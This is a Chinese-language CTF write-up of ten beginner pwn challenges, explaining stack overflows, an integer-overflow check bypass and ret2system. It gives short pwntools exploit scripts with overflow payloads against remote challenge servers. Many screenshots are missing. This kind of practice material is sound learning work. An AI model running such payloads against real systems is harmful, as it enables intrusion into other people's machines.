0%

BUUCTF wp

1.[NISACTF 2022]ReorPwn?

image-20250119144608720

用ida打开发现gets危险函数但是没有栈溢出,在调用system函数前,调用了fun函数

看一下fun函数没看懂搜了一下,是交换字符串的位置反转一下,输入sl没有反应,直接输入galf tac,flag出来了

image-20250119144645315

2.[BJDCTF 2020]babystack2.0

Checksec发现64位nx保护开启

image-20250119140419683

从题目提示看是整数溢出和栈溢出

用idea打开发现后门函数backdoor(0x0400726)和危险函数read可以栈溢出(0x10),但是被if函数限制了得绕过if函数

image-20250119140514421

搜了一下wp

image-20250119140127117

看懂了,本来nbytes是无符号的整型(size_t),而后面转换成了有符号的整型(int)发送-1,10绕过if,且unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,使read函数能够栈溢出最后返回到后门的地址。

exp

1
2
3
4
5
6
7
from pwn import*
r = remote('node4.anna.nssctf.cn',28220)
p1 = b'-1'
r.sendline(p1)
p2 = b'a'*(0x10+0x8)+p64(0x0400726)
r.sendline(p2)
r.interactive()

3.[BJDCTF 2020]babystack

image-20250119140737788

这道题与上一道相似,但是少了if,更简单了,buf读入的数据长度由我们输入的nbytes来决定,这里可以栈溢出,先输入一个大于0x10字节,在进行溢出就可以。

Exp

1
2
3
4
5
6
7
from pwn import*
r = remote(' [node4.anna.nssctf.cn’,28343](http://node4.anna.nssctf.cn:28343/)')
p1 = b'100'
r.sendline(p1)
p2 = b'a'*(0x10+0x8)+p64(0x04006E6)
r.sendline(p2)
r.interactive()

也可以用上面一个exp因为unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值

4.[NISACTF 2022]ezstack

Checksec发现是32位的。NX保护开启

Ida分析发现main函数,又发现shell函数发现read可以栈溢出,shift+f12发现system与/bin/sh,找到system的地址,与/bin/sh的地址编写exp

1
2
3
4
5
6
7
from pwn import *
p = remote('node5.anna.nssctf.cn', 22397)
sh_addr=0x804a024
system_plt=0x8048390
payload=b'a'*(0x48+0x4)+p32(system_plt)+p32(sh_addr)+p32(sh_addr) #第一个p32(sh_addr)用于占位
p.sendline(payload)
p.interactive()

5.[GFCTF 2021]where_is_shell

Checksec发现保护开启,ida查看发现危险函数read,可以栈溢出,有system函数无/bin/sh,不会写,看了一下wp,虽然没有/bin/sh字符串,但是的汇编二进制代码里的24 30可以用来表示$0,而$0指代的就是”/bin/sh,

/bin/sh的地址为img

img

pop rdi;ret地址

img

还需要栈对齐需要

img

Exp模板

1
2
3
4
5
from pwn import*
p = remote()
payload = b'a'*(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()

img

6.[NSSCTF 2022 Spring Recruit]R3m4ke?

checksec查看img

Ida打开,发现危险函数gets栈溢出

有/bin/sh字符串非常简单的栈溢出

找到system的地址栈溢出返回到system地址

img

Exp

img

7.[HNCTF 2022 Week1]easyoverflow

Checksec

img

Ida打开发现gets危险函数,可以溢出,发现cat flag字符串可以作为返回地址

地址:img

Exp

img

8.[WUSTCTF 2020]getshell

Checksec

img

Ida

发现img

可以栈溢出,发现/bin/sh字符串,地址img

Exp

img

9.[GDOUCTF 2023]EASY PWN

Ida分析发现是随机生成一个数字,猜数字

发现gets函数,可以栈溢出

Shift+f12发现后门flag.txt

找到地址0x0011D5

直接溢出

Exp如下

img

10.others_shellcode

checksec查看

wps18

Ida查看

没有看懂

Nc一下

wps19

直接出来了,非常神奇

搜了一下wp

wps20

// 在最后添加